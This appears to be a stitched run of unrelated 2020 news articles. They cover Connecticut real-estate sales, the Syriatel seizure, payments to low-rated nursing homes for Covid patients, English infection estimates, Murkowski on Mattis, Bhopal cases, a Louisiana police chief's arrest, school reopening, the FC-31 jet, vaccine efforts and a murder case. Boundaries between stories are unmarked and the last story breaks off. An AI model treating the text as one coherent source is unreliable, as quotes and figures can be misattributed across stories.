Goldspiels record sales this year began in April with the closing of Broadway Director Jack OBriens New Milford home. The 20-acre, three-bedroom property at 51 Bear Hill Road sold for $2,300,000, the highest sale in New Milford in seven years. Goldspiel represented both sides of the transaction.

Another record sale in April, also in New Milford, was for 10 Paradise Lane, which closed with a sale price of $1,325,000. The listing was the second highest sale in New Milford this year and since 2018. The Donald Billinkoff-designed mid-century modern home on 10 acres included a pool and a renovated Airstream camper used as a pool/guest house.

In May, Goldspiel represented both the buyer and the seller of 168 Taconic Road in Salisbury, a six-bedroom equestrian estate set on 61 acres. With a sale price of $3,250,000, it became one of only three sales over $3 million in Salisbury since 2017. Goldspiel listed and sold the Scofield Estate in 2017, another of the three sales over $3 million and the biggest sale in Salisbury since 2007.

Im consistently awed by Iras ability as an agent to produce exceptional results, said Kristine Newell, manager of William Pitt Sothebys International Realtys Litchfield County brokerages, in a statement. His incredible depth of knowledge of the Litchfield County market along with his invaluable experience is a tremendous asset to our firm as well as to his clients. I would like to congratulate him on his significant achievements. We are humbled and lucky to have him on our team.

For more information, visit the website at williampitt.com.
A Syrian court has ordered the seizure of Syriatel controlled by President Bashar al-Assads cousin Rami Makhlouf who has fallen out with the Syrian leader.

The administrative court in a Facebook post said the ruling is to guarantee the rights of the public treasury and the rights of the shareholders in the company.

Syriatel according to the court owes back payment to the countrys telecom company. The arrears are estimated at 134bn Syrian pounds, or $77 million at the current exchange rate on the parallel market, Reuters reports.

Makhlouf, one of Syrias richest business people, saw his assets seized last month in a move that revealed a crack in the entourage of the embattled Syrian leader.

The businessman has also been subject to a temporary travel ban over the case. He rejected the accusations and argued that the government is attempting to take the company away from him.

Syriatel is the countrys largest telecom company with 11 million users.
Programs designed to help elderly people with coronavirus are creating a perverse financial incentive for nursing homes with bad track records to bring in sick patients, raising the risks of spreading infections and substandard care for seriously ill patients, according to advocates for the elderly and industry experts.

Coronavirus-positive patients can bring in double or more the funding of other residents. States including California, Massachusetts, Michigan and New Mexico, wanting to relieve pressure on crowded hospitals, are providing extra incentives for nursing homes to accept such patients.

Some homes have been eager for the new revenue, creating coronavirus wings or even converting to all-coronavirus facilities. But the ones most desperate for the money are often among those with low ratings and a history of citations for poor cleanliness or neglecting patients. In Michigan, for example, eight of 20 nursing homes selected by the state government to build wings for coronavirus-positive patients are currently rated as "below average" or "much below average," the two lowest designations, on the Health and Human Services department's five-star nursing home rating scale. One was sued in 2017 by a state watchdog group after a man died in its care.

The fear, advocates say, is that the generous payments designed to help patients will only serve to expose more elderly people to some of the factors that have led to nearly 26,000 Covid-19 deaths in nursing homes, from the rapid spreading of germs to a shortage of protective equipment.

The places hospitals want to send these Covid-positive patients turn out to be the places least equipped to take them, places that are already the most dangerous facilities in the United States, said Mike Dark, an attorney at California Advocates for Nursing Home Reform. These are places that have serious infection control issues, terrible understaffing issues.

For instance, New Mexicos first nursing home solely for coronavirus patients, Canyon Transitional Rehabilitation Center, was cited as having issues with infection control during regular inspections in both 2018 and last year, and was fined $13,605 by the federal government last year for a lack of proper procedures that led to a five-minute delay in performing CPR on a resident after he became unconscious.

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Nonetheless, Canyon Transitional Rehabilitation Center will receive $600 per bed for housing the patients, more than double the reimbursement rate it received for some residents in the past. In some cases, it will also receive a daily payment for empty beds.

The chief medical officer at Genesis, the for-profit chain that oversees Canyon, said the nursing home "meets or exceeds" the standards needed to help patients, and "staff stays hyper-vigilant and goes above-and-beyond protocols and guidelines from the CDC and others."

In California, a Los Angeles County nursing home that volunteered to be among the initial batch of facilities exclusively accepting coronavirus patients said it would bill $850 per day, according to a letter to insurers obtained by the Los Angeles Times. The home had been cited twice last year for infection control issues during inspections.

Separately, for small assisted living facilities, which have six residents or fewer, the state is offering $1,000 per day for any facility willing to convert into a Covid-positive home, or $30,000 month, according to a letter sent by the state to facilities earlier this spring. Even with the additional medical costs, thats a significant increase over the median $4,500 cost of assisted living in the state.

In late March, Massachusetts also unveiled a plan to create nursing homes that were singularly dedicated to coronavirus patients. One nursing home started moving patients without the virus out the same week as the announcement. The plan has since been put on hold, after nursing homes participating in the plan found they could not relocate their patients because some turned out to have the coronavirus.

The state has set aside $50 million to pay to nursing homes that set up isolated wings for Covid-19 patients, in addition to other reimbursement the patients will receive.

But half of the Massachusetts nursing homes that have created dedicated wings for Covid-19 patients are either rated below average or much below average  two-star or one-star -- on the federal scale, according to a review by the advocacy group Massachusetts Advocates for Nursing Home Reform. And two had been designated special focus facilities by the Centers for Medicare and Medicaid Services, which put them among the 88 worst nursing homes in the country, the group found.

In Rhode Island, the state is paying two facilities $8,250 per day to serve as coronavirus specialty homes to cover costs related to specialized protective gear, staffing and infection control measures, according to a health department spokesperson. Both of the homes are low-rated: One receiving two stars and one a single star, indicating much below average.

Mike Wasserman, a former nursing home company executive and a doctor specializing in the elderly, said allowing facilities with troubled records to handle a large number of coronavirus patients poses huge risks.

Youre saying facilities that were unable to control the outbreak are now of enough quality to do the hardest job that was ever known to nursing homes, ever, said Wasserman. And transferring existing residents to different nursing homes or wings could accidentally spread the virus, Wasserman argued.

David Grabowski, an expert in aging and long-term care at Harvard Medical School, said creating Covid-specialty nursing homes is a great idea in theory, but has proven difficult to implement because the best and most qualified nursing homes  the four- and five-star facilities -- are already full and dont have room to take on more patients.

There's no way that one-star and two-star facilities for the most part should be doing this unless they can show that there's been a big change in management or a partnership with a hospital system, he said.

An illustration of the challenges in implementing such plans is Michigan, which selected 20 nursing homes as hubs with dedicated wings to care for coronavirus-positive patients after theyve been discharged from hospitals. But the hubs chosen by the state are of mixed quality: Eight of them are either one-star or two-star facilities. The state gave them $5,000 per bed initially, and an additional $200 per occupied bed every day.

One Michigan home, which is opening up 27 beds for coronavirus patients, Medilodge of Grand Blanc, has been on a special federal list reserved for nursing homes with a record of poor inspections for 13 months. However, the facility has shown improvement, according to an April list of these facilities, which get extra attention from the Centers for Medicare and Medicaid Services.

In 2017, the home was sued by a state-appointed group investigating abuse and neglect after a resident was found unresponsive, and later died  a case that both parties have since dismissed. A spokesperson for the parent company declined to comment.

Lynn Sutfin, a spokesperson for the Michigan health department, said the facilities were chosen for a variety of reasons, including their track record and ability to quarantine patients. The department, along with other state and local officials, are working together to ensure appropriate safety and infection control practices were in place for each facility, she said.

Advocates for the nursing home industry say the vastly increased reimbursements are crucial to maintaining adequate care for Covid-positive patients.

Long-term care providers are putting significant resources toward responding to this crisis, whether through acquiring high-priced personal protective equipment, offering staff hero pay and hiring additional help, or in testing residents and staff, the American Health Care Association, which represents nursing homes, said in a statement. More support to nursing homes and assisted living communities will be needed, and it requires a collective effort from the public and private sectors to support long term care.

The Covid-19 patients arriving at nursing homes are usually eligible for Medicare, which pays a significantly higher rate than Medicaids long-term care payments for low-income individuals, a main source of revenue for many nursing homes. The federal payments are on top of the state-based incentives for homes to retrofit their facilities for Covid-positive patients, which many states instituted after New York Gov. Andrew Cuomo came under intense criticism for forcing facilities to accept patients from hospitals.

Grabowski, the Harvard public-health professor, said the extra resources are needed to keep the homes disinfected, make sure the staff is properly equipped, and keep well-qualified health workers.

It is expensive to retrofit a wing or a unit in an existing nursing home, he said. It is expensive to pay staff to do this care well, but if were going to pay that kind of money we want to make sure were paying facilities that are capable of doing this well.

Nonetheless, the higher reimbursements have yet to pay off for at least one of the two Rhode Island nursing homes that volunteered to house coronavirus patients. After the plan was unveiled, the number of coronavirus infections in the state dropped while labor costs skyrocketed. The home -- a two-star facility -- says its losing thousands of dollars every day, the Providence Journal reported.

The other Rhode Island home, Oak Hill Health and Rehabilitation Center, didnt comment on its finances. But a spokesperson for the one-star facility said it is well-equipped to take care of coronavirus patients; its had sufficient protective gear since early March and has trained its staff.

This has nothing to do with money or the ratings, it had to do with providing care to a population of patients that are in need, and in reality, a population of patients that other skilled nursing facilities did not want to accept, Jeff Jacomowitz, a spokesperson for the nursing home, wrote in an email.
The number of people catching the coronavirus each day in England remains a mystery as official estimates continue to reveal wildly varying statistics.

A project run by Public Health England and the University of Cambridge today predicted that 16,700 new infections are cropping up each day.

But the Office for National Statistics, which calculates a weekly measure, suggests that only 5,570 people are catching the virus on a daily basis, on average.

And an unofficial app being run by King's College London, based on people self-reporting their symptoms, has estimated there are 9,400 new cases each day.

Over the past five days an average of 509 people have been admitted to hospital each day, and each of the new case estimates suggests a significantly different level of danger being posed by the virus.

If the ONS low estimate is right, for example, it would mean that almost one in 10 people who catch the virus (9.1 per cent) end up in hospital with it.

If PHE is correct, however, the hospitalisation rate is far lower at three per cent. King's College's estimate sits in the middle ground at 5.4 per cent.

Experts explained that the difference between the figures is caused by them recording different things. While the PHE and Cambridge project aims to give a nationwide picture, the ONS does not include people catching the virus inside hospitals and care homes.

The app run by King's College, on the other hand, only counts people who get symptoms - and many don't. All the figures should be taken with a pinch of salt and used together, scientists said.

Estimates of the number of new infections can shine a light on the true hospitalisation rate of people who get the virus - if 5,600 people are catching it each day, as in the ONS estimate, the hospitalisation rate is around 9.1 per cent, whereas if PHE's estimate is closer to the truth with 16,700, the rate is more like three per cent

Data from Public Health England suggests that 16,700 people across the country are still contracting the coronavirus every day, with the rate of spread considerably higher in the North West

The huge disparity in the estimates means that the real level of danger posed by the virus is still unclear for the vast majority of people.

Testing figures do not show the true number of people infected because many people catch the virus but never test positive for it, either because they don't realise they are sick, because they couldn't get a test, or because their result was wrong.

Between Sunday and Thursday this week, for example, 1,702 people have tested positive for the coronavirus.

The 509 average daily hospitalisations in that time would suggest a massive 30 per cent of people end up in hospital, which blood testing of the population proves is untrue.

Around 4.7million people in England are thought to have had the virus already, according to Public Health England's antibody testing data, which would mean almost 1.5million people ought to have been hospitalised if the rate is truly 30 per cent.

This is something data does not support and the NHS would have been overwhelmed if it had happened.

Therefore, the hospitalisation rate must be lower which means the overall number of people catching the virus must be higher than those who are testing positive.

The ONS's estimate is based on swab testing samples which it has sent out to almost 20,000 people in 10,000 homes across the country. It predicts only new cases in the community, not hospital patients who people who live in institutions or homes.

From its data, the ONS predicts that around 0.1 per cent of the population currently has Covid-19 - around 53,000 people - and that some 39,000 people are catching it each week, an average of 5,570 per day.

This, it suggested, had a possible range of between 3,700 per day and 7,900 (25,000 to 55,000 per week).

This data is updated every week and showed that the number of weekly infections appears to have dropped in the past fortnight from 54,000 per week to 39,000.

Public Health England scientists, meanwhile, have been working with the University of Cambridge to produce their rolling 'nowcast' of the country's current situation.

That predicts that there have been 5.62million Covid-19 infections so far in England and that there are 16,700 new cases per day across all settings.

The range for that data stretched from 10,700 per day to 25,300, meaning it did not overlap with ONS estimates even at the low end.

A separate estimate by the King's College London team behind the COVID Symptom Tracker mobile app earlier this week said it predicts 9,400 people per day are catching the virus.

ENGLAND'S CORONAVIRUS OUTBREAK SHRINKS BY HALF England's coronavirus outbreak appears to have shrunk by half in the past week, official data has revealed. The Office for National Statistics predicts that there are now only 53,000 people in England who currently have Covid-19 - 0.1 per cent of the population. This estimate is a significant drop from the 133,000 people (0.24 per cent) who were thought to the have the illness in the same data last week. It is based on swab testing of almost 20,000 random people across the country. And the ONS says that around 39,000 people per week are catching the infection - 5,500 per day, which is a drop from 54,000 per week between May 16 and May 23. The ONS report said: 'As the proportion of those testing positive in England is decreasing over time, it is likely that the incidence rate is also decreasing. 'However, because of the low number of new positive cases, we cannot currently measure a reduction.' Different data from blood antibody tests, published yesterday by Public Health England, suggested that around 8.5 per cent of the country has had the virus already - some 4.76million people. Professor Keith Neal, an epidemiologist at the University of Nottingham, said: 'The rate of infection continues to decline and is half what it was two weeks ago. Changes over a longer period are now statistically significant. 'This is highly compatible with the fall in diagnosed cases. The contact tracing service has more than enough staff to cope with the current level of infection.' Advertisement

Those results are based on a combination of government data and people reporting their symptoms through the free-to-use public app.

As a result, it almost exclusively picks up people who have symptoms while ill with the virus, which scientists know doesn't apply to everyone.

Dr Paul Birrell, a Cambridge researcher and part of a team of scientists on the PHE project, explained: 'The symptom tracker tracks only symptomatic infection. You would need to add the asymptomatic proportion onto this to get a number comparable with our estimate. Unfortunately, this proportion isn't well known.

'Analysis of data from the cruise ship outbreaks suggest this is about 50 per cent, whereas the ONS study says that as many as 70 per cent are asymptomatic.

'I think, therefore, you could presume that this 9,400 is really about 20,000.'

The ONS and King's College app, therefore, aim to pick up almost the exact opposite groups of people.

ONS home testing intends to get results from people who do not know they have the virus but testing them regularly, regardless of how they feel.

The COVID Symptom Tracker, meanwhile, is based largely on people reporting their symptoms and updating the system if they get tested. It also collects reports from people who say they don't have symptoms.

Dr Birrell added: 'ONS study estimates only infection in the community. They're not sampling people living in institutions such as care homes, long-term hospital residents or prisons... where one might expect the prevalence and incidence of infection to be higher. I'm not sure this is enough to bridge the gap entirely.'

When asked which set of figures people should believe, he said: 'Nobody definitively. We'll be working closely with the ONS to see if we can unpick the differences over the coming weeks.'

The number of people catching the virus is useful information because it can also shine a light on the true rates of hospitalisation among all people who get ill.

Studies have tried to calculate the proportion of people who end up in hospital after catching the coronavirus, but it is difficult because of the way people were tested in the worst days of the pandemic.

For months only people who were noticeably ill - or even already in hospital - got tested. This meant that the mild infections suffered by most people simply went uncounted.

Data from the Office for National Statistics shows a downward trend in the number of people testing positive for the coronavirus over the course of May

A report from the European Centre for Disease Prevention and Control (ECDC), published on April 8, suggested that 32 per cent of people officially diagnosed with Covid-19 ended up in hospital.

More severely ill people are more likely to be tested, however, while those with only mild illnesses slip through the net.

In China, the hospitalisation rate has appeared to be around 10 per cent, the ECDC report said.

A study published in British medical journal, The Lancet, estimated hospitalisation rates only by age group, noting huge differences between young and old people.

It found that 18.4 per cent of over-80s would end up in hospital, compared to 1 per cent of people in their 20s, 3.4 per cent in their 30s, 4.3 per cent in their 40s and 8.2 per cent of those in their 50s.
US Senator Lisa Murkowski broke with her Republican Party to say she supported former defense secretary Jim Mattis's searing criticism of President Donald Trump for threatening to use military force against protesters

A Republican senator broke with her party Thursday to describe a former Pentagon chief's searing rebuke of Donald Trump as "necessary and overdue," and said she was struggling with whether to support the US president's re-election.

Lisa Murkowski's comments marked a major break with Trump within the Republican camp, which has largely held together through various crises including his impeachment process and the president's current threat to use military force against protesters.

For days, demonstrators have flooded streets in cities across the United States demanding racial justice -- in protests both peaceful and violent -- since videos of the killing of a black man by Minneapolis police went viral.

Murkowski was referring to the extraordinary statement Wednesday by Trump's former defense secretary Jim Mattis who accused the president of trying to "divide" Americans and failing to provide "mature leadership" as the country reels from days of protests.

Mattis, who resigned in 2018 over Trump's ordering of a troop withdrawal from Syria, slammed the use of force to clear peaceful protesters from near the White House on Monday so that Trump could pose for photographs at a nearby church, calling it an "abuse of executive authority."

"I thought General Mattis's words were true and honest and necessary and overdue," Murkowski told reporters at the US Capitol.

"I felt like perhaps we are getting to a point where we can be more honest with the concerns that we might hold internally -- and have the courage of our own convictions to speak up."

Asked if she would support Trump in November's election, the Alaska Republican responded: "I am struggling with it. I have struggled with it for a long time."

Trump responded swiftly, saying he would travel to Alaska to campaign against Murkowski, now in her third full Senate term, in 2022 if she runs for re-election then.

"Get any candidate ready, good or bad, I don't care," Trump tweeted. "I'm endorsing. If you have a pulse, I'm with you!"

Senator Mitt Romney, one of the more consistent vocal Trump critics within the GOP, and the only Republican to vote to convict Trump in his February impeachment trial, reportedly described Mattis's statement as "very powerful."

But he and Murkowski appear to be Republican outliers, as the party has largely declined to embrace the Mattis view that Trump is a threat to the US Constitution.

"That's not the way I would describe what is a very difficult time in our country," Republican Senator Marco Rubio said, according to Politico. "But I have great respect for General Mattis."

Several Republicans over the years have praised Mattis for his leadership, even describing him as a steadying force in a turbulent Trump administration.

Among them was Republican Senator Rob Portman of Ohio, who also implicitly criticized Trump's handling of the protests.

"The question is tone and words, and I think some of the tones and some of the words used should be focused more on healing and less on dividing," Politico quoted Portman as saying.
Bhopal, June 5 : The outcome of Unlock 1.0 has left people in Bhopal worried in just five days. In the first four days of June, Bhopal overtook Indore in terms of new cases of corona patients. To Indore's 147, Bhopal reported 163 coronavirus cases. The figures for the corresponding period last month were Bhopal 55, and Indore 125.

Friday's figures changed the picture with 55 patients testing positive in Indore against Bhopal's 51. The two major cities have shown that they cannot handle a crisis without enough discipline.

Neemuch appeared on the corona map of the state with five cases in the first week of May and recorded a big pike in the past couple of weeks. With 38 cases reported on Friday, Neemuch has logged 290 so far.

The state reported 234 fresh cases on Friday just as the administration claimed to have checked the spread of the virus. The health department bulletin issued on Friday reported nearly 150 cases from Indore, Bhopal and Neemuch.

The police administration and the health department have some embarrassing questions to answer over the fresh spurt of cases in Indore and Bhopal.

The major hotspot in Indore was Khajrana where more than 200 patients were found positive in the past four days. Bhopal has more than a dozen such hotspots, where the number of patients has increased rapidly. This includes Jehangirabad, Aishbagh, Mangalwara, Banganga, Kotra Sultanabad, Qazi Camp, Idgah Hills and other areas.

The causes for the rapid rise in numbers in Bhopal are: People not following safe physical distancing, are moving without masks, and lack of sanitation in slums where houses are built above big gutters in narrow lanes with people constantly contacting each other.

On Thursday, 50 people from the capital's Covid Care Hospital were reported completely cured. As of Friday, 1,258 patients have won the battle against Corona. As many as 489 patients are still admitted to the hospitals. So far, 61 people have died due to corona infection in Bhopal and 149 in Indore.

Meanwhile, a fresh controversy was triggered two days before the reopening of temples and mosques. The "sanskriti bachao samiti" in Bhopal has said no to sanitisers being used to protect devotees from viruses. The reason is alcohol. The senior Imams of the mosques have also objected to sanitisers being used and asked the faithful to wash themselves before arriving for Namaaz.

Latest updates on Coronavirus (COVID-19)
GRAYSON, La. - A police chief in Louisiana has been accused of taking thousands of dollars seized by officers as evidence in different cases.

I wont debate the validity of the charge, Grayson Police Chief Mitch Bratton said as he announced his own arrest in a Facebook post on Thursday.

Bratton said he wanted to be in full disclosure about the arrest, which he said came after he contacted an outside agency a few weeks ago about concerns he had with a town employee.

An investigation into the police department Bratton oversees started after a complaint was filed about the missing money, according to the Louisiana State Police. State investigators now allege Bratton took about $4,000 in two different cases and say the money was never documented as evidence, news outlets reported.

Bratton was booked into jail on two counts of obstruction of justice and one count of malfeasance in office. Bratton said hes co-operating with state investigators and doesnt believe the charges should affect his position as chief.

I intend to be as accessible as I always have while I let the criminal justice system work this issue out, he said.
Copyright  2020 Albuquerque Journal

With classes set to begin Aug. 12, Albuquerque Public Schools is preparing for several back-to-school possibilities, including a hybrid model of at-home and in-person learning.

Reopening models were presented to the Board of Education on Wednesday night, despite uncertainties.

Still, APS officials have road maps for three scenarios: in-person school, at-home learning and a hybrid of the two.

While I cannot say with certainty which we will open in, I believe it is very possible that we may move through each of them over the course of the academic year, said Scott Elder, chief operations officer and soon to be acting superintendent.

A major factor in the unpredictability is that its unclear what the status of the COVID-19 pandemic and subsequent health orders will be in August. How APS moves forward is informed by the states reopening.

Also, a special legislative session on June 18 could affect public school funding.

We do not know our actual budget for the coming year and cant know until the 18th, and were not sure about the health recommendations for the coming year and, of course, these things will drive which model of instruction we will use in the coming school year, Elder said.

If in-person schooling were to take place, the district is considering such adjustments as no-contact recess, lunchtime in classrooms and mitigating bus usage, in addition to ramped-up cleaning.

Theres also a contingency in which students do some learning in the classroom and some learning at home.

That could look like children attending school two days a week or alternating the weeks they go into the classroom, the districts reentry document says. Half-days for elementary students are also on the table.

In a virtual model, the district is proposing daily video classes or other online course options.

While a college can move to an online model, its much harder for us to make the same decision, Elder said, noting thats especially true for younger pre-kindergarten and elementary school students.

Each scenario brings fiscal and logistical hurdles. Teams will be working out details around precautions, including social distancing and sanitation, and how to foster students emotional well-being, associate superintendent Madelyn Serna Marmol told the board.

APS 2019-20 school year just wrapped up from a distance after schools across the state were shut down due to coronavirus.

Schools will be faced with overcoming the resulting learning loss and other ripple effects of school closures.

The state Public Education Department put together a School Reentry Task Force to aid in creating contingency plans for returning to school, but official guidance hasnt been released yet.

We recognize there is tremendous pressure to return children to school for two reasons. One: the economy needs parents to be able to return to work and they need a place to know that their children are safe. And two: we still as a state need to push for superior academic outcomes, Elder said.
Speculation of military commission rises as FC-31 stealth fighter jet appears in PLA Navy recruitment video

Global Times

By Liu Xuanzun Source:Global Times Published: 2020/6/4 19:03:41

After China's FC-31 stealth fighter jet appeared in the most recent pilot recruitment video for the People's Liberation Army (PLA) Navy, speculation increased that the aircraft could become China's next generation aircraft carrier-based fighter jet.

The PLA Navy's pilot recruitment program for 2020 recently started, with students from all around the country gathering for a series of qualification tests in Zhengzhou, Central China's Henan Province, state broadcaster China Central Television (CCTV) reported on Wednesday.

This year's tests featured more subjects based on past years' experience and also made COVID-19 prevention and control a priority.

The CCTV report featured a video which introduced the requirements to apply for the program, in which a cartoon figure of a pilot sitting in a FC-31 fighter jet is displayed.

Chinese military observers speculate that this is yet another official hint that the FC-31 might become China's next generation aircraft carrier-based fighter jet.

According to the website of the PLA Navy's pilot recruitment program, pilot cadets will study five years before graduation.

In these five years, the FC-31, which is still under development, could finish the necessary modifications and join the PLA Navy, as China's third, more advanced aircraft carrier could also be commissioned around that time, observers predict.

Other observers expressed doubt over how much the cartoon figure reflects the PLA Navy's plan. They say the video is likely made by CCTV and not the Navy, and it could be just a random picture.

Independently developed by the state-owned Aviation Industry Corporation of China (AVIC), the FC-31 is a single-seat, twin-engine multi-role stealth fighter jet available for export, but rumors persist that it would be commissioned into domestic military forces.

Recent photos circulating on Chinese social media show the FC-31 has been making new test flights as one prototype is painted in a new silver-gray coating, reports said.

Fu Qianshao, a Chinese air defense expert, told the Global Times that the development of the FC-31 is seemingly making rapid progress, and that he hopes it will eventually serve in the PLA.

The development of the FC-31 will continue, and modifications will likely be made based on test flights, including the installation of new engines and other devices, Fu said.

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Source: Xinhua| 2020-06-05 10:07:28|Editor: huaxia

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by Nick Kolyohin

JERUSALEM, June 4 (Xinhua) -- International collaboration is vital to quickly producing a COVID-19 vaccine to save lives worldwide, say Israeli medical experts.

Since the outbreak of the novel coronavirus, multiple groups of researchers around the world have been working hard to find the cure or treatment as early as possible.

Dina Ben-Yehuda, dean of the medicine school at Hebrew University of Jerusalem, said one country could hardly achieve success single-handedly in the vaccine development.

"We need international collaboration to save the world. And I hope that nobody will forget it," she stressed.

Ben-Yehuda praised China for transparency in sharing its research findings regarding the coronavirus that caused the COVID-19 pandemic.

"The fact that Chinese physicians and scientists felt a responsibility to publish everything, even the bad results, helped many people around the world and saved lives," said Ben-Yehuda.

China shared the initial information about the virus DNA with all other countries so that every one of them could work on vaccines and treatments. This kind of collaboration should continue for the benefit of all humankind, according to the professor.

Oren Zimhony MD, head of the infectious diseases unit at Kaplan Medical Center, said the international collaboration now on creating a vaccine is stronger than ever.

There are approximately eight main directions taken to work out a vaccine for COVID-19. Such a variety of possibilities increased the odds of finding the right way to the desired result, according to Zimhony.

"The major game-changer to overcome this pandemic is vaccine development," Zimhony said, who believes that the first clinical implications of the intense vaccine research will be available in six months.

Gili Regev-Yochay, director of the infection prevention control unit at Sheba Medical Center, believes that only a vaccine could stop the global outbreak of the novel coronavirus.

"It seems there is no proper treatment for COVID-19 disease patients, and the only effective global cure would be a vaccine," she noted.

The biggest challenge in the work, according to Regev-Yochay, is to find a completely safe vaccine for everybody and a reliable way to deliver it to all kinds of people with different health situations.

"We need to be very cautious with vaccines. It's much more complicated than clinical trials with the drugs," stressed Regev-Yochay.

Many COVID-19 patients don't have symptoms or have mild ones, "so we need to make sure we don't inject them with vaccines, drugs, or chemicals that could do more harm than good," she said.

International sharing of information could help researchers compare the effectiveness of different vaccines and speed up the progress of the development.

According to the statistics of the World Health Organization, currently more than 130 COVID-19 candidate vaccines are being developed worldwide, with about 10 of them being already in clinical evaluation.

Among the vaccine challenges is also its mass production for the use of all of humanity, which calls for global cooperation.

"We need to vaccinate billions of people around the globe. Better to do it before the upcoming winter to prevent the dangerous effect of dual infection of influenza and COVID-19," said Zimhony.

Ben-Yehuda said she believes new technologies of computational medicine and international sharing of big data could help create personalized medicine for COVID-19 infection, as the virus affects people differently. Enditem
Quezon City (CNN Philippines, June 5)  Beeping staccato sound echoed inside the nurse station of this COVID-19 wing at the Lung Center of the Philippines.

Nurses were focused on their computer monitors checking the continuously changing numbers and zigzag lines.

Doktora Patient ***, mataas ang BP niya shouted one of the nurses.

Pulmonologist, Dr. Honeyleth Reyes, who was busy working on the records of her patients, turned her attention to a TV screen where security camera feeds may be viewed.

Reyes looked closely at the footage and gave an instruction to the nurse who alerted her.

Through a two-way radio, the nurse relayed the instruction to her colleagues inside the red zone or area where COVID-19 positive patients are located.

From the monitor, the doctor looked at how her instruction was being executed

A few minutes later, normal na po ulit doc, said the nurse as she looked at the new numbers on the monitor.

Tinitingnan 'yung vital signs, 'yung heart rhythm, tapos sinisilip din naming sila dito (monitor). Then pinapasok din naming sila sa ward to actually see them and talk to them kung hindi naman sila intubated, said Reyes.

In the time of a pandemic, hospitals give premium to the safety and welfare of their health workers who brave the dangers of contracting the deadly coronavirus.

Innovations are necessary to give a notch-higher protection to their front liners who save thousands of lives.

The Lung Center of the Philippines devised a mechanism that minimizes the interaction between health workers and patients without compromising their well-being.

How hospital innovations keep health workers safe

High-definition surveillance cameras were placed in each room, allowing nurses and doctors to monitor all the isolated patients round-the-clock.

Also, they installed a system where they may remotely monitor and check the vital signs of COVID-19 patients.

We had to install telemetries wherein we install vital signs, blood pressure, heart rate, respiratory rate, oxygenation remotely. So, we see that in the Nurse Station. We assign a telemetry nurse. All he or she does is to look at the monitor so we could see if something is going wrong inside without getting necessarily exposed, Dr. Norberto Francisco, the hospital spokesperson said.

Doctors and nurses remotely monitoring their patients communicate with their colleagues within the red zone through two-way radios for quick response.

Kasi pag nagkasakit ang healthcare personnel, patay na lahat. Wala ng mag-aalaga sa mga may sakit. Actually, taking care of our patients is secondary to taking care of our healthcare personnel, Francisco explained.

A lot of engineering interventions like renovations and retrofitting of COVID-19 rooms were also done to make it more safe.

They devised a foot traffic flow inside the hospital that will prevent the contamination of the supposed safe zones.

The hospital has also installed more powerful airconditioning and exhaust systems.

And actual doors of rooms were removed and were replaced by transparent screens so duty health workers may easily see what is happening inside the room.

So far, six of the eight wards and intensive care unit complexes of the hospital are now dedicated to COVID-19 cases.

Inside the red zones

Medical workers fate lies on how they put on their protective gear before entering the hospitals red zone--- where they face the deadly enemy thats invisible to the naked eye.

At the Lung Center of the Philippines wearing prescribed protective clothing from head to foot is not enough.

They are also required to wear plastic raincoats over their PPEs (personal protective equipment), something that they can easily remove whenever they transfer from one room to another within the critical zone.

Mas nagiging water proof. Ang pinakadelikadong area, itong chest, arms, face, Francisco explained.

He added, plastic raincoat is cheaper compared to changing the entire PPE set. A PPE set costs around P1,600 while the plastic raincoat only costs around P20-P50 each.

The Lung Center of the Philippines reported, out of its 800 health workers, only six contracted the coronavirus during the initial phase of the pandemic.

With improved safety protocols, the hospital registered a 30-day-streak with zero COVID-19 cases among its employees.

But around the time that Metro Manila was placed under more relaxed quarantine protocols, another six hospital workers contracted the virus.

When we did contact tracing, most likely hindi nanggaling dito sa hospital. Isolated cases. Walang hawahan from close contacts in here. So mukhang sa community galing, Francisco said.

So far, the hospital has served around 3,000 COVID-19 cases since January. The number continuously goes up by the day with virus-related cases arriving at their triage and emergency room.

While the hospital expressed readiness to handle these cases. But at the end of the day, they said, the biggest battle against the virus is not within the confines of hospitals but within our homes and communities by practicing proper hygiene and social distancing.
AstraZeneca AZN has signed agreements with the Coalition for Epidemic Preparedness Innovations (CEPI), Gavi the Vaccine Alliance, and the Serum Institute of India (SII) supply its coronavirus vaccine, AZD1222, which it is developing with Oxford University, if successfully developed

The company signed a $750 million agreement with CEPI and Gavi to support the manufacturing, procurement and distribution of 300 million doses of the vaccine. Delivery is expected to start by the end of 2020. The two organizations are backed by Bill and Melinda Gates. The license agreement with SII will enable supply of one billion doses for low and middle-income countries, with a commitment to provide 400 million doses before the end of 2020.

AZD1222 is currently being evaluated in a phase II/III study, with around 10,000 volunteers, which Oxford University initiated recently. Last month, AstraZeneca received more than $1 billion in funding from BARDA to help produce the vaccine. AstraZeneca recently also secured agreements to supply at least 400 million doses to the United States and United Kingdom.

AstraZeneca is also developing its approved drugs including Calquence and Farxiga as a treatment for COVID-19.

AstraZeneca shares have gained 8.1% so far this year against the industrys decrease of 1.7%.

Meanwhile, the Trump administration has identified AstraZeneca among the five companies, which are most likely to be successful in making vaccines to prevent COVID-19, per a New York Times report.The remaining four companies are Moderna MRNA, J&J JNJ, Merck MRK and Pfizer.

As part of the Operation Warp Speed (OWS) initiative to rapidly develop a vaccine for SARS-CoV-2, the virus that causes COVID-19, the administration narrowed down on the five promising candidates from an extensive list of probable candidates, which are being developed by around a dozen companies. The White House aims to begin widespread vaccination of its citizens by the end of this year.

Story continues

The identified companies will reportedly receive extra federal funds, help to run their clinical studies and manufacturing assistance.

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Karl Karlsen's daughter has recalled the chilling conversation she had with her father after he killed her mother and brother 17 years apart for insurance money, saying he was confident he wouldn't get caught.

Sisters Erin DeRoche and Kati Reynolds have spoken out about the tragic loss of their mother, Christina Karlsen, and brother, Levi Karlsen, and how their father nearly got away with the murders on ABC News' 20/20 special, 'The Sins of the Father,' which airs on Friday.

'He was trying to convince me he never would have killed our brother, he never would have killed our mom, and I just listened to it for a little bit and I stopped and then I looked at him and I was like, "I know that you did this and I know that you killed our mother,"' DeRoche recalled in a preview clip for the two-hour special.

Scroll down for video

Opening up: Erin DeRoche (left) and Kati Reynolds (right) spoke to ABC News' 20/20 about their murder father, Karl Karlsen, for the two-hour special 'The Sins of the Father'

Monster: Karlsen, pictured in 2012, killed his first wife, Christina Karlsen, and their son Levi Karlsen, 17 years apart for their life insurance money

'He looked at me, he smiled like a Cheshire cat and he said, "It's been 22 years, they havent caught me yet and theyre not going to."'

DeRoche was six years old and Reynolds was 4 years old when their mother died in a fire in their family home in California in 1991. Their brother was killed 17 years later.

'It was just, does this much bad stuff happen to normal people?' Reynolds explained in her interview with 20/20.

